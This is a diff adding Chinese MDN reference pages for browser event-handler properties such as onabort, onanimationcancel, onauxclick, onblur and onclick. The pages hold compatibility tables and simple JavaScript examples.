{{SpecName("HTML5 W3C", "#globaleventhandlers", "GlobalEventHandlers")}}{{Spec2('HTML5 W3C')}}Snapshot of {{SpecName("HTML WHATWG")}}. Creation of GlobalEventHandlers (properties where on the target before it).
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureFirefox (Gecko)ChromeInternet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
oncanplay, oncanplaythrough, ondurationchange, onemptied, onended, onloadeddata, onloadedmetadata, onloadstart, onpause, onplay, onplaying, onprogress, onratechange, onseeked, onseeking, onstalled, ontimeupdate, onvolumechange, onwaiting{{CompatGeckoDesktop(1.9.1)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
onsuspend{{CompatGeckoDesktop(1.9.2)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop{{CompatGeckoDesktop(1.9.1)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
onmouseenter, onmouseleave{{CompatGeckoDesktop(10)}}30.05.517{{CompatUnknown}}
ondragexit{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
oncancel{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
onclose{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
oncuechange{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
ondragexit{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
onmousewheel{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
onsort {{experimental_inline}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
onmozfullscreenchange, onmozfullscreenerror {{non-standard_inline}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
onpointerlockchange, onpointerlockerror{{CompatGeckoDesktop(10)}} as onmozpointerlockchange, onmozpointerlockerror{{CompatVersionUnknown}} as onwebkitpointerlockchange, onwebkitpointerlockerror{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
onpointercancel, onpointerdown, onpointerup, onpointermove, onpointerout, onpointerover, onpointerenter, onpointerleave, ongotpointercapture, onlostpointercapture{{CompatVersionUnknown}} behind the dom.w3c_pointer_events.enabled pref (disabled by default){{CompatNo}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureFirefox Mobile (Gecko)AndroidIE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop{{CompatGeckoMobile(1.9.1)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
oncanplay, oncanplaythrough, ondurationchange, onemptied, onended, onloadeddata, onloadedmetadata, onloadstart, onpause, onplay, onplaying, onprogress, onratechange, onseeked, onseeking, onstalled, ontimeupdate, onvolumechange, onwaiting{{CompatGeckoMobile(1.9.1)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
onmouseenter, onmouseleave{{CompatGeckoMobile(10)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
onsuspend{{CompatGeckoMobile(1.9.2)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
ondragexit{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
oncancel{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
onclose{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
oncuechange{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
ondragexit{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
onmousewheel{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
onsort{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
onmozfullscreenchange, onmozfullscreenerror {{non-standard_inline}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
onpointerlockchange, onpointerlockerror{{CompatGeckoMobile(10)}} as onmozpointerlockchange, onmozpointerlockerror{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
onpointercancel, onpointerdown, onpointerup, onpointermove, onpointerout, onpointerover, onpointerenter, onpointerleave, ongotpointercapture, onlostpointercapture{{CompatVersionUnknown}} behind the dom.w3c_pointer_events.enabled pref (disabled by default){{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatNo}}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/globaleventhandlers/onabort/index.html b/files/zh-cn/web/api/globaleventhandlers/onabort/index.html new file mode 100644 index 0000000000..ad8954c149 --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/onabort/index.html @@ -0,0 +1,102 @@ +--- +title: GlobalEventHandlers.onabort +slug: Web/API/GlobalEventHandlers/onabort +translation_of: Web/API/GlobalEventHandlers/onabort +--- +
{{ ApiRef("HTML DOM") }}
+ +

摘要

+ +

一个中断事件的事件处理器发送到window全局对象。(Firefox 2 和Safari不可用)

+ +

TODO 要定义什么是“abort”。通过窗口管理关掉窗口么?停止页面的加载?有什么意图和理由(用户,网络或服务器)?在哪一步被发起或被捕获?对于IE浏览器,onabort只可用于img标签。

+ +

语法

+ +
window.onabort =funcRef
+
+ + + +

例子

+ +
window.onabort = function() {
+  alert("Load aborted.");
+}
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','webappapis.html#handler-onabort','onabort')}}{{Spec2('HTML WHATWG')}} 
+ +

 浏览器兼容性

+ +
+

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+
diff --git a/files/zh-cn/web/api/globaleventhandlers/onanimationcancel/index.html b/files/zh-cn/web/api/globaleventhandlers/onanimationcancel/index.html new file mode 100644 index 0000000000..3e0a11176a --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/onanimationcancel/index.html @@ -0,0 +1,248 @@ +--- +title: GlobalEventHandlers.onanimationcancel +slug: Web/API/GlobalEventHandlers/onanimationcancel +translation_of: Web/API/GlobalEventHandlers/onanimationcancel +--- +
{{APIRef("CSS3 Animations")}}
+ +

animationcancel是一个事件处理操作,这个事件在CSS Animation属性意外中断时派发出来(换句话说,任何时候animation停止运行不会发出一个animationend 事件,比如,当animation-name改变以后,animation 就会被移除,或者动画节点隐藏—当前元素或者任何包含的节点隐藏)—使用css时.

+ +

语法

+ +
var animCancelHandler = target.onanimationcancel;
+
+target.onanimationcancel = {{jsxref("Function")}}
+
+ +

Value

+ +

A {{jsxref("Function")}} to be called when an {{event("animationcancel")}} event occurs indicating that a CSS animation has begun on the target, where the target object is an HTML element ({{domxref("HTMLElement")}}), document ({{domxref("Document")}}), or window ({{domxref("Window")}}). The function receives as input a single parameter: an {{domxref("AnimationEvent")}} object describing the event which occurred.

+ +

Example

+ +

HTML content

+ +
<div class="main">
+  <div id="box">
+    <div id="text" onanimationcancel="handleCancelEvent">Box</div>
+  </div>
+</div>
+
+<div class="button" id="toggleBox">
+  Hide the Box
+</div>
+
+<pre id="log"></pre>
+ +

CSS content

+ + + +

Leaving out some bits of the CSS that don't matter for the discussion here, let's take a look at the styles for the box that we're animating. First is the box itself, with all its properties, including {{cssxref("animation")}}, defined. We go ahead and describe the animation in-place here because the animation is intended to begin as soon as the page loads, rather than based on an event.

+ +
#box {
+  width: var(--boxwidth);
+  height: var(--boxwidth);
+  left: 0;
+  top: 0;
+  border: 1px solid #7788FF;
+  margin: 0;
+  position: relative;
+  background-color: #2233FF;
+  display: flex;
+  justify-content: center;
+  animation: 5s ease-in-out 0s infinite alternate both slideBox;
+}
+
+
+ +

The animation's keyframes are described next, plotting a course from the top-left corner of the content box to the bottom-right corner.

+ +
@keyframes slideBox {
+  from {
+    left:0;
+    top:0;
+  }
+  to {
+    left:calc(100% - var(--boxwidth));
+    top:calc(100% - var(--boxwidth))
+  }
+}
+
+ +

Since the animation is described as taking place an infinite number of times, alternating direction each time, the box will glide back and forth between the two corners until stopped or the page is closed.

+ +

JavaScript content

+ +

Before we get to the animation code, we define a function which logs information to a box on the user's screen. We'll use this to show information about the events we receive. Note the use of {{domxref("AnimationEvent.animationName")}} and {{domxref("AnimationEvent.elapsedTime")}} to get information about the event which occurred.

+ +
function log(msg, event) {
+  let logBox = document.getElementById("log");
+
+  logBox.innerHTML += msg;
+
+  if (event) {
+    logBox.innerHTML += " <code>"+ event.animationName +
+        "</code> at time " + event.elapsedTime.toFixed(2) +
+        " seconds.";
+  }
+
+  logBox.innerHTML += "\n";
+};
+
+
+
+ +

Then we set up the handleCancelEvent() function, which is called in response to the {{event("animationcancel")}} event, as set up in the HTML above. All we do here is log information to the console, but you might find other use cases, such as starting a new animation or effect, or terminating some dependent operation.

+ +
function handleCancelEvent(event) {
+  log("Animation canceled", event);
+};
+
+
+ +

Then we add a method to handle toggle {{cssxref("display")}} between "flex" and "none" and establish it as the handler for a {{event("click")}} event on the "Hide/Show" the Box button:

+ +
function toggleBox() {
+  if (box.style.display == "none") {
+    box.style.display = "flex";
+    document.getElementById("toggleBox").innerHTML = "Hide the box";
+  } else {
+    box.style.display = "none";
+    document.getElementById("toggleBox").innerHTML = "Show the box";
+  }
+}
+ +

Toggling the box to display: none has the effect of aborting its animation. In browsers that support {{event("animationcancel")}}, the event is fired and this handler is called.

+ +
+

At this time, no major browser supports animationcancel.

+
+ +

Result

+ +

Assembled together, you get this:

+ +

{{ EmbedLiveSample('Example', 500, 400) }}

+ +

If your browser supports animationcancel, hiding the box using the button will cause a message to be displayed about the event.

+ +

Specification

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Animations','#eventdef-animationevent-animationcancel','onanimationcancel')}}{{Spec2('CSS3 Animations')}} 
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Microsoft EdgeInternet ExplorerOperaSafari (WebKit)
Basic support{{CompatNo}}{{CompatNo}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatNo}}{{CompatNo}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}}
+
+ +

[1] For details on the status of implementation in Firefox, see {{bug(1302648)}}.

+ +

See also

+ + diff --git a/files/zh-cn/web/api/globaleventhandlers/onanimationend/index.html b/files/zh-cn/web/api/globaleventhandlers/onanimationend/index.html new file mode 100644 index 0000000000..b1b7b071d9 --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/onanimationend/index.html @@ -0,0 +1,109 @@ +--- +title: GlobalEventHandler.onanimationend +slug: Web/API/GlobalEventHandlers/onanimationend +translation_of: Web/API/GlobalEventHandlers/onanimationend +--- +

概述

+ +

事件处理程序。 当CSS动画到达其活动期的结束时发送此事件

+ +

语法

+ +
var animEndHandler = target.onanimationend;
+
+target.onanimationend = 事件处理函数
+
+ +

+ +

target(HTML元素, document 或者 window)的CSS动画已经开始,{{event("animationend")}}事件会触发同时事件处理函数会被调用。事件处理函数会接收到唯一的参数:{{domxref("AnimationEvent")}} 描述发生的事件。

+ +

例子

+ +

{{Page("/en-US/docs/Web/API/GlobalEventHandlers/onanimationstart", "Example")}}

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Animations','#eventdef-animationevent-animationend','onanimationend')}}{{Spec2('CSS3 Animations')}} 
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Microsoft EdgeInternet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}} {{property_prefix("-webkit")}}
+ {{CompatVersionUnknown}} (unprefixed)
{{CompatGeckoDesktop(51)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}} {{property_prefix("-webkit")}}
+ {{CompatVersionUnknown}} (unprefixed)
{{CompatGeckoMobile(51)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}} {{property_prefix("-webkit")}}
+ {{CompatVersionUnknown}} (unprefixed)
+
+ +

参考

+ + diff --git a/files/zh-cn/web/api/globaleventhandlers/onanimationiteration/index.html b/files/zh-cn/web/api/globaleventhandlers/onanimationiteration/index.html new file mode 100644 index 0000000000..9214d6754c --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/onanimationiteration/index.html @@ -0,0 +1,228 @@ +--- +title: GlobalEventHandlers.onanimationiteration +slug: Web/API/GlobalEventHandlers/onanimationiteration +translation_of: Web/API/GlobalEventHandlers/onanimationiteration +--- +
{{APIRef("CSS3 Animations")}}{{Draft}}
+ +

 {{event("animationiteration")}}事件的处理器 . 当 CSS Animation 运动到最后一帧时触发。 An iteration ends when a single pass through the sequence of animation instructions is completed by executing the last animation step.

+ +

语法

+ +
var animIterationHandler = target.onanimationiteration;
+
+target.onanimationiteration = {{jsxref("Function")}}
+
+ +

Value

+ +

A {{jsxref("Function")}} to be called when an {{event("animationiteration")}} event occurs indicating that a CSS animation has reached the end of an iteration while running on the target, where the target object is an HTML element ({{domxref("HTMLElement")}}), document ({{domxref("Document")}}), or window ({{domxref("Window")}}). The function receives as input a single parameter: an {{domxref("AnimationEvent")}} object describing the event which occurred.

+ +

实例

+ +

Let's create an animation which automatically pauses at the end of each iteration, allowing the user to choose whether or not to start the next iteration. Much of this code is the same as in other examples of animation events, so it may look familiar.

+ + + +

CSS content

+ + + +

Leaving out some bits of the CSS that don't matter for the discussion here, let's take a look at the styles for the box that we're animating. First is the box itself. We set its size, position, color, and layout. Note that there's nothing there about animation. That's because we don't want the box to start animating right away. We'll add the {{cssxref("animation")}} style later to start animating the box.

+ +
#box {
+  width: var(--boxwidth);
+  height: var(--boxwidth);
+  left: 0;
+  top: 0;
+  border: 1px solid #7788FF;
+  margin: 0;
+  position: relative;
+  background-color: #2233FF;
+  display: flex;
+  justify-content: center;
+  animation: 2s ease-in-out 0s infinite alternate both paused slideBox;
+}
+
+
+ +

The animation's keyframes are defined next; they describe an animation which causes the box to migrate from the top-left corner of the container to the bottom-right corner.

+ +
@keyframes slideBox {
+  from {
+    left:0;
+    top:0;
+  }
+  to {
+    left:calc(100% - var(--boxwidth));
+    top:calc(100% - var(--boxwidth))
+  }
+}
+
+ +

JavaScript content

+ +

Some JavaScript code will need to be written to handle the click on the button to start the next iteration. Let's have a look.

+ +
var box = document.getElementById("box");
+var iterationCounter = 0;
+
+box.onanimationiteration = function(event) {
+  box.style.animationPlayState = "paused";
+  document.getElementById("play").innerHTML = "Start Iteration #" + (iterationCounter+1);
+};
+
+ +

This sets up two global variables: box, which references the "box" element that we're animating, and iterationCounter, which is initially zero, which indicates how many iterations of the animation have occurred.

+ +

The onanimationiteration event handler is then set up. It simply sets the box's {{cssxref("animation-play-state")}} to "paused", then updates the text displayed in the button to indicate that clicking the button will start playing the next iteration of theanimation.

+ +

Finally, we set up a handler for a click on the button that runs the animation:

+ +
document.getElementById("play").addEventListener("click", function(event) {
+  box.style.animationPlayState = "running";
+  iterationCounter++;
+}, false);
+ +

This sets the box element's {{cssxref("animation-play-state")}} to "running" and increments the iteration counter. That's all there is to it!

+ +

Result

+ +

Assembled together, you get this:

+ +

{{ EmbedLiveSample('Example', 500, 400) }}

+ +

Each time the box reaches the opposing corner, it stops, with the button reflecting which iteration number is up next, until you click the button to run the next iteration.

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Animations','#eventdef-animationevent-animationiteration','onanimationiteration')}}{{Spec2('CSS3 Animations')}} 
+ +

兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Microsoft EdgeInternet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}} {{property_prefix("-webkit")}}
+ {{CompatVersionUnknown}} (unprefixed)
{{CompatGeckoDesktop(51)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}} {{property_prefix("-webkit")}}
+ {{CompatVersionUnknown}} (unprefixed)
{{CompatGeckoMobile(51)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}} {{property_prefix("-webkit")}}
+ {{CompatVersionUnknown}} (unprefixed)
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/globaleventhandlers/onauxclick/index.html b/files/zh-cn/web/api/globaleventhandlers/onauxclick/index.html new file mode 100644 index 0000000000..f99474b970 --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/onauxclick/index.html @@ -0,0 +1,115 @@ +--- +title: GlobalEventHandlers.onauxclick +slug: Web/API/GlobalEventHandlers/onauxclick +tags: + - API + - Event Handler + - Experimental + - auxclick +translation_of: Web/API/GlobalEventHandlers/onauxclick +--- +
+
{{SeeCompatTable}}{{ ApiRef("HTML DOM") }}
+
+ +
 
+ +

onauxclick 属性是一个 {{domxref("EventHandler")}},当 {{event("auxclick")}} 事件发生时被调用,例如按下了输入设备上的非主按钮 (e.g. 鼠标中键)。

+ +

实现该属性的一个目标是,提高浏览器与按钮行为之间的兼容性 - 事件行为正在更新,以便 {{Event("click")}} 只触发主按钮点击(例如,鼠标左键)。然后开发人员可以使用 {{Event("auxclick")}} 来为非主按钮点击提供明确的行为。在此之前,{{Event("click")}} 通常会针对所有输入设备按钮点击,浏览器行为有些不一致。

+ +

语法

+ +
element.onauxclick = functionRef(e);
+
+ +

事件处理函数是一个 {{domxref("MouseEvent")}} 对象。只有事件被触发的按钮不同,该事件和普通点击事件的行为是完全相同的。

+ +

示例

+ +

在这个例子中我们定义了两个事件处理函数:onclickonauxclick。前者改变按钮背景的颜色,而后者改变按钮前景(文本)的颜色。您可以通过使用多按钮鼠标尝试演示来查看这两种功能(see it live on GitHub; also see the source code)。

+ +
var button = document.querySelector('button');
+var html = document.querySelector('html');
+
+function random(number) {
+  return Math.floor(Math.random() * number);
+}
+
+button.onclick = function() {
+  var rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')';
+  button.style.backgroundColor = rndCol;
+};
+
+button.onauxclick = function() {
+  var rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')';
+  button.style.color = rndCol;
+}
+ +
+

Note: 如果您使用的是三键鼠标,您会注意到在单击任一非鼠标左键时该 onauxclick 处理程序会运行。

+
+ +

Notes

+ +

当用户点击一个元素时,将引发该 click 事件。之后的 click 事件将发生在 mousedownmouseup 事件之后。

+ +

每次只有一个 click 处理程序可以通过此属性分配给一个对象。您可能倾向于使用{{domxref("EventTarget.addEventListener()")}} 方法,因为它更灵活并且是 DOM Events 规范的一部分。

+ +

规范

+ +

onauxclick 不是任何官方规范的一部分,它被定义在 auxclick Draft Community Group Report.

+ +

Browser Compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatUnknown}}{{CompatGeckoDesktop(53)}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoDesktop(53)}}{{CompatUnknown}}{{CompatNo}}{{CompatNo}}
+
diff --git a/files/zh-cn/web/api/globaleventhandlers/onblur/index.html b/files/zh-cn/web/api/globaleventhandlers/onblur/index.html new file mode 100644 index 0000000000..221b679239 --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/onblur/index.html @@ -0,0 +1,81 @@ +--- +title: GlobalEventHandlers.onblur +slug: Web/API/GlobalEventHandlers/onblur +tags: + - Gecko DOM Reference +translation_of: Web/API/GlobalEventHandlers/onblur +--- +
{{ ApiRef("HTML DOM") }}
+ +

概述

+ +

onblur属性用来获取或设置当前元素的onBlur事件的事件处理函数

+ +

语法

+ +
element.onblur = function;
+
+ + + +
element.onblur = function() { alert("检测到onblur事件!"); };
+
+ +

例子

+ +
<html>
+
+<head>
+<title>onblur event example</title>
+
+<script type="text/javascript">
+
+var elem = null;
+
+function initElement()
+ {
+ elem = document.getElementById("foo");
+ // 注意:doEvent() 和 doEvent(param)都是不正确的.这里只能是函数名,不能是函数调用.
+ elem.onblur = doEvent;
+ };
+
+function doEvent()
+ {
+ elem.value = 'Bye-Bye';
+ alert("检测到onblur事件!")
+ }
+</script>
+
+<style type="text/css">
+<!--
+#foo {
+border: solid blue 2px;
+}
+-->
+</style>
+</head>
+
+<body onload="initElement()";>
+<form>
+<input type="text" id="foo" value="Hello!" />
+</form>
+
+<p>点击input元素使其获得焦点,然后点击其他页面其他部位</p>
+
+</body>
+</html>
+
+ +

备注

+ +

当一个元素失去焦点时会触发blur事件.

+ +

在IE中,几乎所有类型的元素都可以触发blur事件,但在基于gecko的浏览器中,大部分元素都不能触发blur事件.

+ +

规范

+ +

DOM Level 0不属于任何规范.

+ +

{{ languages( {"fr": "fr/DOM/element.onblur","en": "en/DOM/element.onblur" } ) }}

diff --git a/files/zh-cn/web/api/globaleventhandlers/oncancel/index.html b/files/zh-cn/web/api/globaleventhandlers/oncancel/index.html new file mode 100644 index 0000000000..9603f52914 --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/oncancel/index.html @@ -0,0 +1,60 @@ +--- +title: GlobalEventHandlers.oncancel +slug: Web/API/GlobalEventHandlers/oncancel +tags: + - API + - HTML DOM + - NeedsExample + - Property + - Reference + - 事件 + - 对话框 +translation_of: Web/API/GlobalEventHandlers/oncancel +--- +
{{ApiRef("HTML DOM")}}
+ +

{{domxref("GlobalEventHandlers")}} 的oncancel 属性是一个{{domxref("EventHandler")}},它是用来处理发送给{{HTMLElement("dialog")}}元素的{{event("cancel")}} 事件的。

+ +

当用户需要离开一个<dialog>元素的时候就会触发 cancel 事件. 这个事件处理器会防止事件向上传递,因此任何父处理器都不会接受到该事件。

+ +

语法

+ +
target.oncancel = functionRef;
+
+ +

参数

+ +

functionRef 是一个函数名 或者 函数表达式. 这个函数接收一个 {{domxref("Event")}} 对象作为它唯一的参数.

+ +

每次只有一个 oncancel 处理器可以被赋值给一个对象. 你可能更喜欢用 {{domxref("EventTarget.addEventListener()")}} 方法, 因为它更灵活.

+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG','webappapis.html#handler-oncancel','oncancel')}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.GlobalEventHandlers.oncancel")}}

+ +

另请参阅

+ + diff --git a/files/zh-cn/web/api/globaleventhandlers/oncanplay/index.html b/files/zh-cn/web/api/globaleventhandlers/oncanplay/index.html new file mode 100644 index 0000000000..e50e97572c --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/oncanplay/index.html @@ -0,0 +1,47 @@ +--- +title: GlobalEventHandlers.oncanplay +slug: Web/API/GlobalEventHandlers/oncanplay +translation_of: Web/API/GlobalEventHandlers/oncanplay +--- +
{{ ApiRef("HTML DOM") }}
+ +

{{domxref("GlobalEventHandlers")}}的oncanplay 属性是{{domxref("EventHandler")}} 处理 {{event("canplay")}} 事件。

+ +

当用户代理能够播放媒体时canplay 事件被触发 , 但是预估没有加载全部的数据以支持媒体播放完毕。

+ +

语法

+ +
element.oncanplay = handlerFunction;
+var handlerFunction = element.oncanplay;
+
+ +

handlerFunction或者是 null 或者是一个 JavaScript function 指定事件的处理句柄。

+ +

说明

+ + + + + + + + + + + + + + +
说明状态备注
{{SpecName('HTML WHATWG','#handler-oncanplay','oncanplay')}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容

+ + + +

{{Compat("api.GlobalEventHandlers.oncanplay")}}

+ +

参考资料

+ + diff --git a/files/zh-cn/web/api/globaleventhandlers/oncanplaythrough/index.html b/files/zh-cn/web/api/globaleventhandlers/oncanplaythrough/index.html new file mode 100644 index 0000000000..6e478aa535 --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/oncanplaythrough/index.html @@ -0,0 +1,25 @@ +--- +title: GlobalEventHandlers.oncanplaythrough +slug: Web/API/GlobalEventHandlers/oncanplaythrough +translation_of: Web/API/GlobalEventHandlers/oncanplaythrough +--- +
{{ ApiRef("HTML DOM") }}
+ +

全局事件处理器({{domxref("GlobalEventHandlers")}} )之一的 {{event("canplaythrough")}} 属性,是处理当前元素{{event("canplaythrough")}} 事件的事件处理器{{domxref("EventHandler")}} .

+ +

当用户代理可以播放媒体资源并且可以播放至其结束而不必进一步缓冲内容时,触发canplaythrough事件。

+ +

语法

+ +
element.oncanplaythrough = handlerFunction;
+var handlerFunction = element.oncanplaythrough;
+
+ +

 

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/globaleventhandlers/onchange/index.html b/files/zh-cn/web/api/globaleventhandlers/onchange/index.html new file mode 100644 index 0000000000..861bdf11f7 --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/onchange/index.html @@ -0,0 +1,43 @@ +--- +title: GlobalEventHandlers.onchange +slug: Web/API/GlobalEventHandlers/onchange +translation_of: Web/API/GlobalEventHandlers/onchange +--- +

{{ ApiRef() }}

+ +

概述

+ +

onchange可以用来获取或设置当前元素的change事件的事件处理函数.

+ +

语法

+ +
element.onchange = 事件处理函数
+
+ +

备注

+ +

下面的伪代码演示了,在Mozilla中,onchange事件是如何触发的:

+ +
  control.onfocus = focus;
+  control.onblur = blur;
+  function focus () {
+      original_value = control.value;
+  }
+
+  function blur () {
+      if (control.value != original_value)
+        control.onchange();
+  }
+
+ +

因此,如果你在你的focusblur事件的处理函数里修改一个控件的值的话,你可能遇到一些关于change事件意想不到的现象.另外, change事件是在blur事件发生之后才触发的. 这一点和IE不同.

+ +

规范

+ +

DOM Level 0不属于任何标准

+ +

相关链接

+ +

DOM Level 2: HTML event types

+ +

{{ languages( { "fr": "fr/DOM/element.onchange" ,"en": "en/DOM/element.onchange" } ) }}

diff --git a/files/zh-cn/web/api/globaleventhandlers/onclick/index.html b/files/zh-cn/web/api/globaleventhandlers/onclick/index.html new file mode 100644 index 0000000000..f0e5322370 --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/onclick/index.html @@ -0,0 +1,95 @@ +--- +title: GlobalEventHandlers.onclick +slug: Web/API/GlobalEventHandlers/onclick +tags: + - API + - Event Handler + - GlobalEventHandlers + - HTML DOM + - Property + - Reference + - 事件处理器 + - 全局事件处理器 +translation_of: Web/API/GlobalEventHandlers/onclick +--- +
{{ ApiRef("HTML DOM") }}
+ +

全局事件处理器({{domxref("GlobalEventHandlers")}})之一的 onclick 属性,是处理当前元素的 {{event("click")}} 事件的事件处理器({{domxref("EventHandler")}})。

+ +

